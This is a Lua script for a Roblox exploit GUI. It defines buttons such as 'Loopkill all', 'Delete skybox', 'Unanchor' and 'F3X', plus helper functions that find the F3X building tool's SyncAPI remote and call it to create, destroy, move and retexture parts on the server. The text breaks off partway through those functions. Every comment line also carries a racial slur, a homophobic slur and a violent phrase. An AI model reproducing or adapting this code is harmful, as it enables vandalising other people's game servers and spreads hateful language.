-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["3b"] = Instance.new("LocalScript", G2L["3a"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["3c"] = Instance.new("TextButton", G2L["2"]);
G2L["3c"]["TextWrapped"] = true;
G2L["3c"]["BorderSizePixel"] = 3;
G2L["3c"]["TextSize"] = 14;
G2L["3c"]["TextScaled"] = true;
G2L["3c"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["3c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3c"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["3c"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["3c"]["Text"] = [[Loopkill all]];
G2L["3c"]["Position"] = UDim2.new(0.6075, 0, 0.37697, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["3d"] = Instance.new("LocalScript", G2L["3c"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["3e"] = Instance.new("TextButton", G2L["2"]);
G2L["3e"]["TextWrapped"] = true;
G2L["3e"]["BorderSizePixel"] = 3;
G2L["3e"]["TextSize"] = 14;
G2L["3e"]["TextScaled"] = true;
G2L["3e"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["3e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["3e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["3e"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["3e"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["3e"]["Text"] = [[Delete skybox]];
G2L["3e"]["Position"] = UDim2.new(0.80276, 0, 0.37697, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["3f"] = Instance.new("LocalScript", G2L["3e"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["40"] = Instance.new("TextButton", G2L["2"]);
G2L["40"]["TextWrapped"] = true;
G2L["40"]["BorderSizePixel"] = 3;
G2L["40"]["TextSize"] = 14;
G2L["40"]["TextScaled"] = true;
G2L["40"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["40"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["40"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["40"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["40"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["40"]["Text"] = [[Message 2]];
G2L["40"]["Position"] = UDim2.new(0, 0, 0.44609, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["41"] = Instance.new("LocalScript", G2L["40"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["42"] = Instance.new("TextButton", G2L["2"]);
G2L["42"]["TextWrapped"] = true;
G2L["42"]["BorderSizePixel"] = 3;
G2L["42"]["TextSize"] = 14;
G2L["42"]["TextScaled"] = true;
G2L["42"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["42"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["42"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["42"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["42"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["42"]["Text"] = [[Baseplate]];
G2L["42"]["Position"] = UDim2.new(0.20513, 0, 0.44609, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["43"] = Instance.new("LocalScript", G2L["42"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["44"] = Instance.new("TextButton", G2L["2"]);
G2L["44"]["TextWrapped"] = true;
G2L["44"]["BorderSizePixel"] = 3;
G2L["44"]["TextSize"] = 14;
G2L["44"]["TextScaled"] = true;
G2L["44"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["44"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["44"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["44"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["44"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["44"]["Text"] = [[Skeleton skybox]];
G2L["44"]["Position"] = UDim2.new(0.41223, 0, 0.44609, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["45"] = Instance.new("LocalScript", G2L["44"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["46"] = Instance.new("TextButton", G2L["2"]);
G2L["46"]["TextWrapped"] = true;
G2L["46"]["BorderSizePixel"] = 3;
G2L["46"]["TextSize"] = 14;
G2L["46"]["TextScaled"] = true;
G2L["46"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["46"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["46"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["46"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["46"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["46"]["Text"] = [[Toadroast]];
G2L["46"]["Position"] = UDim2.new(0.60947, 0, 0.44609, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["47"] = Instance.new("LocalScript", G2L["46"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["48"] = Instance.new("TextButton", G2L["2"]);
G2L["48"]["TextWrapped"] = true;
G2L["48"]["BorderSizePixel"] = 3;
G2L["48"]["TextSize"] = 14;
G2L["48"]["TextScaled"] = true;
G2L["48"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["48"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["48"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["48"]["Text"] = [[Sn00p skybox]];
G2L["48"]["Position"] = UDim2.new(0.80473, 0, 0.44609, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["49"] = Instance.new("LocalScript", G2L["48"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["4a"] = Instance.new("TextButton", G2L["2"]);
G2L["4a"]["TextWrapped"] = true;
G2L["4a"]["BorderSizePixel"] = 3;
G2L["4a"]["TextSize"] = 14;
G2L["4a"]["TextScaled"] = true;
G2L["4a"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4a"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["4a"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["4a"]["Text"] = [[Coikax decal]];
G2L["4a"]["Position"] = UDim2.new(0, 0, 0.51298, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["4b"] = Instance.new("LocalScript", G2L["4a"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["4c"] = Instance.new("TextButton", G2L["2"]);
G2L["4c"]["TextWrapped"] = true;
G2L["4c"]["BorderSizePixel"] = 3;
G2L["4c"]["TextSize"] = 14;
G2L["4c"]["TextScaled"] = true;
G2L["4c"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["4c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4c"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["4c"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["4c"]["Text"] = [[Coikax skybox]];
G2L["4c"]["Position"] = UDim2.new(0.20513, 0, 0.51298, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["4d"] = Instance.new("LocalScript", G2L["4c"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["4e"] = Instance.new("TextButton", G2L["2"]);
G2L["4e"]["TextWrapped"] = true;
G2L["4e"]["BorderSizePixel"] = 3;
G2L["4e"]["TextSize"] = 14;
G2L["4e"]["TextScaled"] = true;
G2L["4e"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["4e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4e"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["4e"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["4e"]["Text"] = [[Coikax particlces]];
G2L["4e"]["Position"] = UDim2.new(0.4142, 0, 0.51298, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["4f"] = Instance.new("LocalScript", G2L["4e"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["50"] = Instance.new("TextButton", G2L["2"]);
G2L["50"]["TextWrapped"] = true;
G2L["50"]["BorderSizePixel"] = 3;
G2L["50"]["TextSize"] = 14;
G2L["50"]["TextScaled"] = true;
G2L["50"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["50"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["50"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["50"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["50"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["50"]["Text"] = [[Unanchor]];
G2L["50"]["Position"] = UDim2.new(0.60947, 0, 0.51298, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["51"] = Instance.new("LocalScript", G2L["50"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["52"] = Instance.new("TextButton", G2L["2"]);
G2L["52"]["TextWrapped"] = true;
G2L["52"]["BorderSizePixel"] = 3;
G2L["52"]["TextSize"] = 14;
G2L["52"]["TextScaled"] = true;
G2L["52"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["52"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["52"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["52"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["52"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["52"]["Text"] = [[Hint 2]];
G2L["52"]["Position"] = UDim2.new(0.80473, 0, 0.51298, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["53"] = Instance.new("LocalScript", G2L["52"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextLabel
G2L["54"] = Instance.new("TextLabel", G2L["2"]);
G2L["54"]["TextWrapped"] = true;
G2L["54"]["BorderSizePixel"] = 0;
G2L["54"]["TextSize"] = 14;
G2L["54"]["TextScaled"] = true;
G2L["54"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["54"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["54"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["54"]["BackgroundTransparency"] = 1;
G2L["54"]["Size"] = UDim2.new(0, 462, 0, 56);
G2L["54"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["54"]["Text"] = [[Audios]];
G2L["54"]["Position"] = UDim2.new(0.05325, 0, 0.58052, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["55"] = Instance.new("TextButton", G2L["2"]);
G2L["55"]["TextWrapped"] = true;
G2L["55"]["BorderSizePixel"] = 3;
G2L["55"]["TextSize"] = 14;
G2L["55"]["TextScaled"] = true;
G2L["55"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["55"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["55"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["55"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["55"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["55"]["Text"] = [[Bobby2pistolz]];
G2L["55"]["Position"] = UDim2.new(0.00986, 0, 0.66361, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["56"] = Instance.new("LocalScript", G2L["55"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["57"] = Instance.new("TextButton", G2L["2"]);
G2L["57"]["TextWrapped"] = true;
G2L["57"]["BorderSizePixel"] = 3;
G2L["57"]["TextSize"] = 14;
G2L["57"]["TextScaled"] = true;
G2L["57"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["57"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["57"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["57"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["57"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["57"]["Text"] = [[Junk]];
G2L["57"]["Position"] = UDim2.new(0.24655, 0, 0.66226, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["58"] = Instance.new("LocalScript", G2L["57"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["59"] = Instance.new("TextButton", G2L["2"]);
G2L["59"]["TextWrapped"] = true;
G2L["59"]["BorderSizePixel"] = 3;
G2L["59"]["TextSize"] = 14;
G2L["59"]["TextScaled"] = true;
G2L["59"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["59"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["59"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["59"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["59"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["59"]["Text"] = [[Toxic]];
G2L["59"]["Position"] = UDim2.new(0.53254, 0, 0.66091, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["5a"] = Instance.new("LocalScript", G2L["59"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["5b"] = Instance.new("TextButton", G2L["2"]);
G2L["5b"]["TextWrapped"] = true;
G2L["5b"]["BorderSizePixel"] = 3;
G2L["5b"]["TextSize"] = 14;
G2L["5b"]["TextScaled"] = true;
G2L["5b"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["5b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5b"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["5b"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["5b"]["Text"] = [[2 hollis]];
G2L["5b"]["Position"] = UDim2.new(0.78304, 0, 0.66115, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["5c"] = Instance.new("LocalScript", G2L["5b"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["5d"] = Instance.new("TextButton", G2L["2"]);
G2L["5d"]["TextWrapped"] = true;
G2L["5d"]["BorderSizePixel"] = 3;
G2L["5d"]["TextSize"] = 14;
G2L["5d"]["TextScaled"] = true;
G2L["5d"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["5d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5d"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["5d"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["5d"]["Text"] = [[Kerosene]];
G2L["5d"]["Position"] = UDim2.new(0.00986, 0, 0.77537, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["5e"] = Instance.new("LocalScript", G2L["5d"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["5f"] = Instance.new("TextButton", G2L["2"]);
G2L["5f"]["TextWrapped"] = true;
G2L["5f"]["BorderSizePixel"] = 3;
G2L["5f"]["TextSize"] = 14;
G2L["5f"]["TextScaled"] = true;
G2L["5f"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["5f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5f"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["5f"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["5f"]["Text"] = [[Meet yo loopmaker]];
G2L["5f"]["Position"] = UDim2.new(0.24655, 0, 0.7756, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["60"] = Instance.new("LocalScript", G2L["5f"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["61"] = Instance.new("TextButton", G2L["2"]);
G2L["61"]["TextWrapped"] = true;
G2L["61"]["BorderSizePixel"] = 3;
G2L["61"]["TextSize"] = 14;
G2L["61"]["TextScaled"] = true;
G2L["61"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["61"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["61"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["61"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["61"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["61"]["Text"] = [[Love bomb]];
G2L["61"]["Position"] = UDim2.new(0.53254, 0, 0.7756, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["62"] = Instance.new("LocalScript", G2L["61"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["63"] = Instance.new("TextButton", G2L["2"]);
G2L["63"]["TextWrapped"] = true;
G2L["63"]["BorderSizePixel"] = 3;
G2L["63"]["TextSize"] = 14;
G2L["63"]["TextScaled"] = true;
G2L["63"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["63"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["63"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["63"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["63"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["63"]["Text"] = [[Theme]];
G2L["63"]["Position"] = UDim2.new(0.78304, 0, 0.7756, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["64"] = Instance.new("LocalScript", G2L["63"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["65"] = Instance.new("TextButton", G2L["2"]);
G2L["65"]["TextWrapped"] = true;
G2L["65"]["BorderSizePixel"] = 3;
G2L["65"]["TextSize"] = 14;
G2L["65"]["TextScaled"] = true;
G2L["65"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["65"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["65"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["65"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["65"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["65"]["Text"] = [[Legend]];
G2L["65"]["Position"] = UDim2.new(0.00986, 0, 0.87108, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["66"] = Instance.new("LocalScript", G2L["65"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["67"] = Instance.new("TextButton", G2L["2"]);
G2L["67"]["TextWrapped"] = true;
G2L["67"]["BorderSizePixel"] = 3;
G2L["67"]["TextSize"] = 14;
G2L["67"]["TextScaled"] = true;
G2L["67"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["67"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["67"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["67"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["67"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["67"]["Text"] = [[Firework]];
G2L["67"]["Position"] = UDim2.new(0.24655, 0, 0.87108, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["68"] = Instance.new("LocalScript", G2L["67"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["69"] = Instance.new("TextButton", G2L["2"]);
G2L["69"]["TextWrapped"] = true;
G2L["69"]["BorderSizePixel"] = 3;
G2L["69"]["TextSize"] = 14;
G2L["69"]["TextScaled"] = true;
G2L["69"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["69"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["69"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["69"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["69"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["69"]["Text"] = [[Bodypartz]];
G2L["69"]["Position"] = UDim2.new(0.53254, 0, 0.87108, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["6a"] = Instance.new("LocalScript", G2L["69"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["6b"] = Instance.new("TextButton", G2L["2"]);
G2L["6b"]["TextWrapped"] = true;
G2L["6b"]["BorderSizePixel"] = 3;
G2L["6b"]["TextSize"] = 14;
G2L["6b"]["TextScaled"] = true;
G2L["6b"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["6b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6b"]["Size"] = UDim2.new(0, 99, 0, 50);
G2L["6b"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["6b"]["Text"] = [[Code red]];
G2L["6b"]["Position"] = UDim2.new(0.78304, 0, 0.87108, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["6c"] = Instance.new("LocalScript", G2L["6b"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..LocalScript
G2L["6d"] = Instance.new("LocalScript", G2L["2"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["6e"] = Instance.new("TextButton", G2L["2"]);
G2L["6e"]["TextWrapped"] = true;
G2L["6e"]["BorderSizePixel"] = 3;
G2L["6e"]["TextSize"] = 14;
G2L["6e"]["TextScaled"] = true;
G2L["6e"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["6e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6e"]["Size"] = UDim2.new(0, 99, 0, 34);
G2L["6e"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["6e"]["Text"] = [[R6]];
G2L["6e"]["Position"] = UDim2.new(0.80473, 0, 0, 0);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["6f"] = Instance.new("LocalScript", G2L["6e"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton
G2L["70"] = Instance.new("TextButton", G2L["2"]);
G2L["70"]["TextWrapped"] = true;
G2L["70"]["BorderSizePixel"] = 3;
G2L["70"]["TextSize"] = 14;
G2L["70"]["TextScaled"] = true;
G2L["70"]["TextColor3"] = Color3.fromRGB(0, 0, 128);
G2L["70"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["70"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["70"]["Size"] = UDim2.new(0, 99, 0, 36);
G2L["70"]["BorderColor3"] = Color3.fromRGB(0, 0, 128);
G2L["70"]["Text"] = [[F3X]];
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
G2L["71"] = Instance.new("LocalScript", G2L["70"]);
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..ImageLabel
G2L["72"] = Instance.new("ImageLabel", G2L["2"]);
G2L["72"]["BorderSizePixel"] = 0;
G2L["72"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["72"]["ImageTransparency"] = 0.79;
G2L["72"]["Image"] = [[rbxassetid://90356036356127]];
G2L["72"]["Size"] = UDim2.new(0, 510, 0, 740);
G2L["72"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["72"]["BackgroundTransparency"] = 1;
-- StarterGui.Made by Coikax faggot..Im killing niggers im killing niggers please stop..TextButton.LocalScript
local function C_5()
local script = G2L["5"];
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
